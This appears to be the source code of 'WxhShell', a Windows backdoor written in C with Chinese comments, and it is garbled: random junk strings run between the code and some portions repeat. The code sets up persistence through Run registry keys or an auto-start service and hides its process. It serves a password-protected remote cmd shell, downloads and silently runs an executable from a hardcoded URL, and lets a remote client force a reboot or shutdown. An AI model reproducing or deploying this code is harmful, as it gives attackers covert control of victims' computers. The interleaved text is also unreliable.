N|N/) 7}07Pit HANDLE hProcess; <2)v9c PROCESS_BASIC_INFORMATION pbi; Y6;@ /[_ c Vg$dt HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =,E'~P if(NULL == hInst ) return 0; $4h04_" ~UW{)]_jox g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q9q9<J7j$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K#)bjxz NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k4mTZ}6E _z%\'(l+ if (!NtQueryInformationProcess) return 0; /MxCvEE Te}IMi: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hDbHSZ if(!hProcess) return 0; k>-'AWH^v \S5V}!_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $68 XZCx vGyppm[0 CloseHandle(hProcess); #tP )-ww Iq@IUFpc7~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]>*I) H)
if(hProcess==NULL) return 0; d#Wn[h$" ;]u1~ HMODULE hMod; w6v1 q:20 char procName[255]; U\;Ml unsigned long cbNeeded; {4)5]62>u :z124Zf if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WiwwCKjSa Oo$%Yh51~ CloseHandle(hProcess); eo]a'J9( x"!#_0TT} if(strstr(procName,"services")) return 1; // 以服务启动 4SBLu%=s% Qv=Bq{N return 0; // 注册表启动 ?e2Y`0 } 7t+]z) nu(eLUU // 主模块 K1
6s)S' int StartWxhshell(LPSTR lpCmdLine) EK.c+Or, { r3?5'S` SOCKET wsl; ;?j~8 BOOL val=TRUE; qG*_w
RF int port=0; `F@f?*s: struct sockaddr_in door; yT 2vO_rH "rf\' 9= if(wscfg.ws_autoins) Install(); GMyoSe%1/ {AtfK>D port=atoi(lpCmdLine); su%Z{f)# _"`uqW79 if(port<=0) port=wscfg.ws_port; H8x:D3C0 1=- X<M75 WSADATA data; ap{{(y&R if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tTE3H_ n*Q4G}p if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; W>VAbm setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0L
7@2|a0 door.sin_family = AF_INET; 0n7HkDo door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^M"HSewo door.sin_port = htons(port); b^;N>zx }v,W-gA if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yqC+P closesocket(wsl); ~F=#}6kg_ return 1; Q=MCMe }
$o{F ` 3vN R" if(listen(wsl,2) == INVALID_SOCKET) { e(4bx5<* closesocket(wsl); =/M$
<+ return 1; zww? } R^F7a0" Wxhshell(wsl); ?Of{c,2 . WSACleanup(); n,1NJKX ~4}*Dhsh return 0; he_HVRpB d#RF0,Y 9 } 38OIFT Z={UM/6w // 以NT服务方式启动 OME!W w VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #a/n5c&6/ { G >I. DWORD status = 0; k?z
[hZg0 DWORD specificError = 0xfffffff; X*43!\ /QM0.{Ypl serviceStatus.dwServiceType = SERVICE_WIN32; 8Q#t\$RY serviceStatus.dwCurrentState = SERVICE_START_PENDING; !tm|A`<g#< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZY~zpC_ serviceStatus.dwWin32ExitCode = 0; O[3q9*( serviceStatus.dwServiceSpecificExitCode = 0; a-SB1-5jf serviceStatus.dwCheckPoint = 0; {^2({A#& serviceStatus.dwWaitHint = 0; 4UkP:Vz: ?Aj\1y4L1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uQXs>JuD if (hServiceStatusHandle==0) return; \5j22L9S Q'>_59 status = GetLastError(); hCSRsk3 if (status!=NO_ERROR) W ??;4 { 2{jtQlc serviceStatus.dwCurrentState = SERVICE_STOPPED; iA5*
_tK5 serviceStatus.dwCheckPoint = 0; 1gf/#+$\ serviceStatus.dwWaitHint = 0; w}]3jc84 serviceStatus.dwWin32ExitCode = status; ,APGPE}I[ serviceStatus.dwServiceSpecificExitCode = specificError; 9F-ViDI. SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qu,)wfp~ return; dw=Xjyk?h } ?w c3+?\J rPrEEWS0) serviceStatus.dwCurrentState = SERVICE_RUNNING; sPZV>Q:zY serviceStatus.dwCheckPoint = 0; IIYX|;1}X serviceStatus.dwWaitHint = 0; nvm1.}=Cnd if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZlwcwoPib } vr8J*36{ ,3g]=f // 处理NT服务事件,比如:启动、停止 q(w1VcLZ VOID WINAPI NTServiceHandler(DWORD fdwControl) q[Sp|C6x { Q{(,/}kA- switch(fdwControl) '_Hb}'sFI {
b{9HooQ{ case SERVICE_CONTROL_STOP: $j$\ccG serviceStatus.dwWin32ExitCode = 0; vQ9xG)) serviceStatus.dwCurrentState = SERVICE_STOPPED; [:/7OM serviceStatus.dwCheckPoint = 0; /cn/[O9 serviceStatus.dwWaitHint = 0; b[QCM/ { u0(hVK`": SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q>#)LHX } U?+3 0{hb return; 'Sb6
w+ case SERVICE_CONTROL_PAUSE: 7.F& {:@_ serviceStatus.dwCurrentState = SERVICE_PAUSED; W! 5Blo break; )%nt61P\W case SERVICE_CONTROL_CONTINUE: &B{Jxc`VA serviceStatus.dwCurrentState = SERVICE_RUNNING; reD[j,i&t. break; +9=p*3cnp case SERVICE_CONTROL_INTERROGATE: 3XYIb Xnk break; PLY-,Q&' }; 10QNV=yK7s SetServiceStatus(hServiceStatusHandle, &serviceStatus); */fs.G:P } v/4X[6( E Ni%ge'": // 标准应用程序主函数 ijR*5#5h int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bb0{-T)1 { ?U2g8D nFY x u\/]f) // 获取操作系统版本 Kuzy&NI^w OsIsNt=GetOsVer(); &6~ncQWu GetModuleFileName(NULL,ExeFile,MAX_PATH);
4 I]/ "O"^\f // 从命令行安装 d-K5nRyI if(strpbrk(lpCmdLine,"iI")) Install(); h P6fTZ=Ln Yg:74; . // 下载执行文件 }f0^9( if(wscfg.ws_downexe) { b;t}7.V'% if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @)!1#^(}% WinExec(wscfg.ws_filenam,SW_HIDE); uDMUy"8&! } y:(C=*^<t B@~eBU,$ if(!OsIsNt) { h<z/LL8| // 如果时win9x,隐藏进程并且设置为注册表启动 PPIG?fK) HideProc(); ^ZViQ$a"h; StartWxhshell(lpCmdLine); z|4@nqqX } cJp1 <R else 1.cUolnr if(StartFromService()) MHzsxF| // 以服务方式启动 E&Zx]?~ StartServiceCtrlDispatcher(DispatchTable); [.yx2@W
else PrYWha=c- // 普通方式启动 bNPjefBF StartWxhshell(lpCmdLine); VIlQzM;%^ 2l}FgD return 0; 3=eGS } My43\p xQ(KmP2hl dpOL1rrE ~d<`L[ =========================================== U Y?]\4Om D;;o j]]ziz,E "Qm~;x2kB V
IRv 5a/
A_..+I " AFF>r#e }5c'ui!3H #include <stdio.h> eVNBhR}HS #include <string.h> 9p0HFri[ #include <windows.h> bD^ob.c.A #include <winsock2.h> K=^_Ndz #include <winsvc.h> AK\g-]8
#include <urlmon.h> _ZE$\5>- E9+O\"e9 #pragma comment (lib, "Ws2_32.lib") ~.y4
,- #pragma comment (lib, "urlmon.lib") Ss#{K; JqV<A3i #define MAX_USER 100 // 最大客户端连接数 J*4_|j;Z-E #define BUF_SOCK 200 // sock buffer \crb&EgID #define KEY_BUFF 255 // 输入 buffer JbD)}(G; Vm%ux>} #define REBOOT 0 // 重启 kjYO0!C #define SHUTDOWN 1 // 关机 !6i fw~%^* #define DEF_PORT 5000 // 监听端口 z_iyuLRdb /iJhCB[QZ #define REG_LEN 16 // 注册表键长度 ?ia[KLt" #define SVC_LEN 80 // NT服务名长度 m_O=X8uj"D 'MM~~: // 从dll定义API q,h.W JI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); If I$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5'L}LT8p@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5~rY=0t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T!eh?^E 8X~vJ^X9@y // wxhshell配置信息 5r}(|86O/ struct WSCFG { VlXy&oZ int ws_port; // 监听端口 ~$&r(9P char ws_passstr[REG_LEN]; // 口令 |k9j )Hg( int ws_autoins; // 安装标记, 1=yes 0=no #i#.tc char ws_regname[REG_LEN]; // 注册表键名 $ax%K?MBD char ws_svcname[REG_LEN]; // 服务名 )k<~}wvQ0 char ws_svcdisp[SVC_LEN]; // 服务显示名 =+#RyV char ws_svcdesc[SVC_LEN]; // 服务描述信息 +OuG!3+w char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \YF!< 2|[ int ws_downexe; // 下载执行标记, 1=yes 0=no 5T@'2)BI= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MM)/B>c Qt char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ykl=KR n'(n4qH2#s }; )ZT0zIG @T=HcUP) // default Wxhshell configuration rQ-z2Pw struct WSCFG wscfg={DEF_PORT, k |aOUW "xuhuanlingzhe", ~w}[
._'#M 1, d:WhP_rK9 "Wxhshell", fi@+swfc "Wxhshell", kFs kn55 "WxhShell Service", UDq KF85H "Wrsky Windows CmdShell Service", iKTU28x "Please Input Your Password: ", _=$!T;}lE 1, 4Tw1gas. "http://www.wrsky.com/wxhshell.exe", 1|$Rzt%ge "Wxhshell.exe" R$,iDv.jI }; @V
CQ4X7T ^)]*10 // 消息定义模块 ${:$jX[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %cif0Td char *msg_ws_prompt="\n\r? for help\n\r#>"; +}Wo=R} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
J"Y char *msg_ws_ext="\n\rExit."; kV:FJx0xP char *msg_ws_end="\n\rQuit."; 8LQ59K_WX char *msg_ws_boot="\n\rReboot..."; Q_]!an( char *msg_ws_poff="\n\rShutdown..."; }y-;>i#m=g char *msg_ws_down="\n\rSave to "; j`|^s}8t 4&oXy,8LC char *msg_ws_err="\n\rErr!"; zJuRth)(, char *msg_ws_ok="\n\rOK!"; ua$k^m7m5 V3 _b! char ExeFile[MAX_PATH]; 8>VI$
int nUser = 0; A
eGG HANDLE handles[MAX_USER]; TvWU[=4Yk int OsIsNt; jW1YTQ >FY&-4+v SERVICE_STATUS serviceStatus; xOVA1pb, SERVICE_STATUS_HANDLE hServiceStatusHandle; bQXc IIa{ ,a9D~i 9R // 函数声明 _z<Y#mik int Install(void); VA=#0w int Uninstall(void); $#G6m`V int DownloadFile(char *sURL, SOCKET wsh); d DIQ+/mmg int Boot(int flag); O>SuZ>g+7 void HideProc(void); CQBT:: int GetOsVer(void); rq<`(V'2 int Wxhshell(SOCKET wsl); q ab)
1ft void TalkWithClient(void *cs); Ws^+7u int CmdShell(SOCKET sock); Mt[Bq6}ZD int StartFromService(void); BN\fv, int StartWxhshell(LPSTR lpCmdLine); H5AK n*'7 ZRXI?Jr% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v:veV. y VOID WINAPI NTServiceHandler( DWORD fdwControl ); fuNl4BU 2I]]WBW#: // 数据结构和表定义 /'&.aGW4% SERVICE_TABLE_ENTRY DispatchTable[] = 7y>Tn`V8G { JHvFIo {wscfg.ws_svcname, NTServiceMain}, *D=K{bUe' {NULL, NULL} ER~T'-YMS }; yfSiByU x1 ;rb8 // 自我安装 wUru1_zjO int Install(void) [<D+pqh { Fa sI'Ulk
char svExeFile[MAX_PATH]; o5N]((9 HKEY key; PoYr:=S? strcpy(svExeFile,ExeFile); vQ:x%=] 4r_!>['`" // 如果是win9x系统,修改注册表设为自启动 y!7B, if(!OsIsNt) { F3r S6_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?@Z7O.u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H/^~<U#p RegCloseKey(key); f*{M3"$E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %$/=4f.j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DapQ}2'_ RegCloseKey(key); !(W[!% return 0; gXq!a|eH } <8iYL`3 } ^D9
/ } rumAo'T/% else { tW:W&|q IM[54_I // 如果是NT以上系统,安装为系统服务 hX0RET SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,"@w>WL<9 if (schSCManager!=0) L&:M8xiA~$ { x
HY+q; SC_HANDLE schService = CreateService D35m5+=I ( :_MP'0QP schSCManager, BD hLz wscfg.ws_svcname, L5R `w&Up wscfg.ws_svcdisp, vAi"$e SERVICE_ALL_ACCESS, 86/. 8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =ZG<BG_ SERVICE_AUTO_START, 5_v5 SERVICE_ERROR_NORMAL, :[L{KFQU svExeFile, ]AFj&CteZ/ NULL, SxMxe,.| NULL, +z+F- NULL, \.5F](: NULL, YQN.Ohtv*F NULL y^9bfMA ); R'Sa?6xS4 if (schService!=0) |B
9t- { 37#cx)p^f CloseServiceHandle(schService); jz|VF,l CloseServiceHandle(schSCManager); HB%K|&!+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6j_ 678 strcat(svExeFile,wscfg.ws_svcname); 9p5= _ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I[@ts!YD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?'Cb-C_ RegCloseKey(key); 6Ux[,]GK return 0; `4_c0q)N4 } nQ|GqU\oA } ?fB5t;~E CloseServiceHandle(schSCManager); L,#^&9bHa# } L"4]Tm>zq } AHq M7+r9 Ha?G=X return 1; nMkOUW:T! } f#1/}Hq/I ti}f&w
ICJ // 自我卸载 AH|Y<\ int Uninstall(void) f`,-b { 0Yp>+:# HKEY key; '(tj[&aL GKCM|Y if(!OsIsNt) { +N7"EROc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z4bN)W )p RegDeleteValue(key,wscfg.ws_regname); 6s5yyy=L%~ RegCloseKey(key); .8K6C]gw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z/gsCYS3F RegDeleteValue(key,wscfg.ws_regname); BGN9,ii RegCloseKey(key); mf$Sa58 return 0; H$Kw=kMw } MF^_Z3GS' } W+K.r?G<j } a_MFQf&KV else { Je 31". $T?]+2,6; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S@Iw;V if (schSCManager!=0) GB=bG%Tb { "b`7[ ;a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iy}xICt if (schService!=0) |g!`\@O { x}|+sS,g if(DeleteService(schService)!=0) { 6A?8tm/0 CloseServiceHandle(schService); lov%V*tL CloseServiceHandle(schSCManager); ke\[wa_!6b return 0; gHZqA_*T8U } Y&5.9 s@' CloseServiceHandle(schService); Mb.4J2F ? } !b63ik15O~ CloseServiceHandle(schSCManager); BPewc9RxV } [S0mY[" } eF5;[v \7 Gz\=\LR return 1; uXpv*i{R } I0_Ecp mf9hFy*<4 // 从指定url下载文件 0 sh~I int DownloadFile(char *sURL, SOCKET wsh) =k_UjwgN^ { R$d7\nBG HRESULT hr; d@ (vg char seps[]= "/"; uY]0dyI char *token; S/7l/DFb char *file; V%51k{ char myURL[MAX_PATH]; PJK9704 6 char myFILE[MAX_PATH]; 9go))&`PJL `ET& VV strcpy(myURL,sURL); =$&&[& token=strtok(myURL,seps); 4.w"(v9 V while(token!=NULL) U=QA e { #U"1 9@|} file=token; yWY|]Pp token=strtok(NULL,seps); M*`hDdS } wE6A
7\k% m9t$h GetCurrentDirectory(MAX_PATH,myFILE); $3\,h;y strcat(myFILE, "\\"); Y0Rg Jn strcat(myFILE, file); VB"(9O] send(wsh,myFILE,strlen(myFILE),0); 6$RpV'xz send(wsh,"...",3,0); u"Y]P*[k hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q0>q:aj\ if(hr==S_OK) g~)3WfC$[ return 0; y-a|Lu* else =/}X$,@2 return 1; A ~&+F>Z YgimJsm } ~kb{K; >];"N{ A // 系统电源模块 {y-`QS int Boot(int flag) yU_9a[$V { |^Kjz{ HANDLE hToken; MLS;SCl TOKEN_PRIVILEGES tkp; ]w[ThHRJ 9)lZyE} if(OsIsNt) { nk/vGa4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vgThK9{m; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9XOyj5 tkp.PrivilegeCount = 1; ,8##OB( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u-.L^!k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <|H?gfM if(flag==REBOOT) { L|\Diap if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }N,>A-P return 0; vGN3 YcH } *rf$>8~$n else { %),!2_ x~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (.Xr#;\( return 0; Kz[BB@[ } # ZTLrq5b } mHs:t{q else { o5 WW{)Q if(flag==REBOOT) { Funj!x'uE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qd(hQsfqYU return 0; _6rKC*Pe1 } *P xf#X else { C +@ i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q%S8\bt return 0; =l,#iYJP8 } q"nGy#UWR } 5;Ia$lm=y Z,aGtJ.a'9 return 1; IG|\:Xz } x'i0KF 7I3 :u+ // win9x进程隐藏模块 ?Ib} void HideProc(void) nh;y:Bi { kqf8=y f3n~{a,[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "L@g3g?|` if ( hKernel != NULL ) all*P #[X { z!Hx @){| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]!aUT& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jL_5]pzJ FreeLibrary(hKernel); OjATSmZ@@ } Cuv|6t75' !.eAOuq return; Hirr=a3 } 7d9Z/J@> f?-J#x) // 获取操作系统版本 h2;l1G, int GetOsVer(void) 0BDS_Rx { PWG;&ma OSVERSIONINFO winfo; ?i%nMlcc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r=\P!`{5 GetVersionEx(&winfo); JMePI%#8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )Ga8`t" return 1; Tzf$*Uje3 else # JFYws return 0; %omu } |*1xrM:v~ 1tyNRoET // 客户端句柄模块 ;-Ado8 int Wxhshell(SOCKET wsl) %ET
#
z! { tvCcyD%w SOCKET wsh; Ys%'#f struct sockaddr_in client; tNB%eb{ DWORD myID; ogp{rY %2YN,a4 while(nUser<MAX_USER) MYu`c[$jZ { W1`Dx(g int nSize=sizeof(client); K4Y'B
o4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8=pv/o if(wsh==INVALID_SOCKET) return 1; G g(NGT
[9J:bD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0}D-KvjyP if(handles[nUser]==0) z2v<a{e closesocket(wsh); GI?PGAT else nfa_8 nUser++; {dBB{.hX } -EVs@:3]j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [bsXF# #)FDl70S8 return 0; M$F{N } G"{4'LlA 3Qk/ Ll // 关闭 socket FN>L7
*,0 void CloseIt(SOCKET wsh) aj?2jU~Pq { :q(D(mK closesocket(wsh); f&f`J/( nUser--; ~z &0qQ ExitThread(0); B#QL M^ } H<$pHyxU '!AT // 客户端请求句柄 +;YE)~R? void TalkWithClient(void *cs) $.``OxJk% { LNaeB(z" +)?, {eE| SOCKET wsh=(SOCKET)cs; )dqR<) char pwd[SVC_LEN]; UmYD] char cmd[KEY_BUFF]; xm^N8 char chr[1]; QjI#Cs}w int i,j; o
T:j:n 4C6=77Jr while (nUser < MAX_USER) { .#"1bRWpZ s%5Uj} if(wscfg.ws_passstr) { 33*^($bE& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bAN 10U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 04P.p6 //ZeroMemory(pwd,KEY_BUFF); [+y&HNf i=0; *+NGi(N while(i<SVC_LEN) { u$ap H{ "v@);\-V // 设置超时 >y]?MGk fd_set FdRead; dUI3erO struct timeval TimeOut; >9 q]>fJ FD_ZERO(&FdRead); K/!/M%GB6 FD_SET(wsh,&FdRead); ur?d6a TimeOut.tv_sec=8; ThjUiuWe TimeOut.tv_usec=0; eH ;Wfs2f int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); izXbp02 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yZ?xt'tn Ii|uGxEc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qk?jGXB>^ pwd=chr[0]; F(J\ctha if(chr[0]==0xd || chr[0]==0xa) { E7V38Z pwd=0; /TzNdIv break; 2O?Vr"
A } ,.~
W i++; X7t5b7 } -L+\y\F f+*J
ue // 如果是非法用户,关闭 socket ) ~ l\ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KK@
&q } += X).X0K pGO|~:E/L send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _cW_u?0X: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _{N0OX NYWG#4D while(1) { OAmES;Ck$( sjkWz2]S ZeroMemory(cmd,KEY_BUFF); |z.Gh1GCy Ly#h|) // 自动支持客户端 telnet标准 &?P=arU j=0; O<}ep)mr while(j<KEY_BUFF) { 'CP/ym f/a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a Q.Iq cmd[j]=chr[0]; #JK;&Dg! if(chr[0]==0xa || chr[0]==0xd) { :iP>z}h cmd[j]=0; Xjs21-t% break; v p"%IW } '"!z$i~G= j++; l=oN X"l= } #E-
VW _myg._[ // 下载文件 Ha46U6_'h if(strstr(cmd,"http://")) { v7s] send(wsh,msg_ws_down,strlen(msg_ws_down),0); o|R*POM if(DownloadFile(cmd,wsh)) jF%)Bhn( send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]_^"|RJ else R`0foSq \M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2ApDpH`fiJ } >P6^k!R1y else { {0NsDi>(2 37j\D1Y switch(cmd[0]) { viW~'}^k7 %8}WX@SB // 帮助 <7_ |Q case '?': { O,F]\ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n/9 LRZD|w break; %v?jG(o } =yk Rki // 安装 p56KS5duI. case 'i': { Zu2m%=J` if(Install()) Ze$^UR send(wsh,msg_ws_err,strlen(msg_ws_err),0); SY!`a:It else ^@|<'g.R- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _~X8/p/Qh break; 8Pr&F } aJuj7y- // 卸载 `l[6rf_. case 'r': { ?V&Ld$db if(Uninstall()) hYP6z^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); J)7,&Gc6 else ,$MWk(S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )1ZJ break; Vze!/ED } .G5NGB // 显示 wxhshell 所在路径 9[t]] case 'p': { ,mO(!D char svExeFile[MAX_PATH]; p"hm.=, strcpy(svExeFile,"\n\r"); }AMYU>YE= strcat(svExeFile,ExeFile); ~cO?S2!W send(wsh,svExeFile,strlen(svExeFile),0); bik] JIM break; sx)$=~o } X <ba|( // 重启 $4$?M[ case 'b': { 3<KZ.hr send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )RAv[U1 if(Boot(REBOOT)) b.mjQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); uJ|5Ve else { PK.h E{R closesocket(wsh); YobC'c\~9 ExitThread(0); $+!}Vtb } _-|yCo break; l(krUv } @mQ/WYs // 关机 JhMrm% case 'd': { JL]k:i^`A send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cjy0s+>> if(Boot(SHUTDOWN)) "EOk^1,y send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~u?x{[ else { G(7\<x: closesocket(wsh); U'sVs2sk6 ExitThread(0); lk+=26> } d 40'3]/{ break; @
@3)D%h } 5JU(@}Db // 获取shell Y00i{/a 8 case 's': { ?4wehcZz CmdShell(wsh); -pU\"$nuxH closesocket(wsh); -?%{A%' ExitThread(0); ]mO+<{{4X break; +NzD/.gq } x%:>Ol // 退出 /k3n{?$/ case 'x': { .f.j > send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H,4,~lv| CloseIt(wsh); #r:Kg&W2FO break; y?R <g^A } m|Q&Lphb8 // 离开 @=<TA0;LL case 'q': { I8-&.RE send(wsh,msg_ws_end,strlen(msg_ws_end),0); U*qK*"k closesocket(wsh); "'H7F,k' WSACleanup(); Z#cU#)`y1 exit(1); um0}`Xq ^ break; q2j}64o_S } NM.f0{:cj } woH3?zR } c&I,eds kmwrv -W // 提示信息 G/RheH
G if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n`I
jG } 5@&i:vs5y } \%4+mgiD ~NW5+M(u return; b8b PK< } ,IVr4#w0= A'AWuj\r2R // shell模块句柄 [q+39 int CmdShell(SOCKET sock) %Pvb>U(Xs { 4z3$ STARTUPINFO si; 0Eg r
Q ZeroMemory(&si,sizeof(si)); ThQEQ6y si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1oW]O@R si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Sdu@!<?B PROCESS_INFORMATION ProcessInfo; I3[RaZ2z{ char cmdline[]="cmd"; q2U"k CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VflPNzixb! return 0; .STf } N, +g/o\f +5}T!r // 自身启动模式 AQNx% int StartFromService(void) F-\8f(\ { om39;nk!} typedef struct 4y}a, { AkQFb2|ir DWORD ExitStatus; %>:)4A DWORD PebBaseAddress; vc1GmB DWORD AffinityMask; 9l^ DWORD BasePriority; wU3ica&[ ULONG UniqueProcessId; "=TTsxyM6P ULONG InheritedFromUniqueProcessId; o>rlrqr?_ } PROCESS_BASIC_INFORMATION; hahD.P< (2(;u1 PROCNTQSIP NtQueryInformationProcess; 2<. /HH*f 5<8>G?Y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QS?9&+JM | static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gY^TBR0?m DmA!+ HANDLE hProcess; LO*a>9LI PROCESS_BASIC_INFORMATION pbi; T
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XW$ U~@B%Msb
L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g#nsA(_L if(NULL == hInst ) return 0; Bq=](<>> w}<I\*\`! g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3>3ZfFC g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EGO@`<"h NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X
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> @!HMd{r if (!NtQueryInformationProcess) return 0; 7ib<Cb>K ,(?4T~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u+FftgA if(!hProcess) return 0; ?^GsR[-x T1
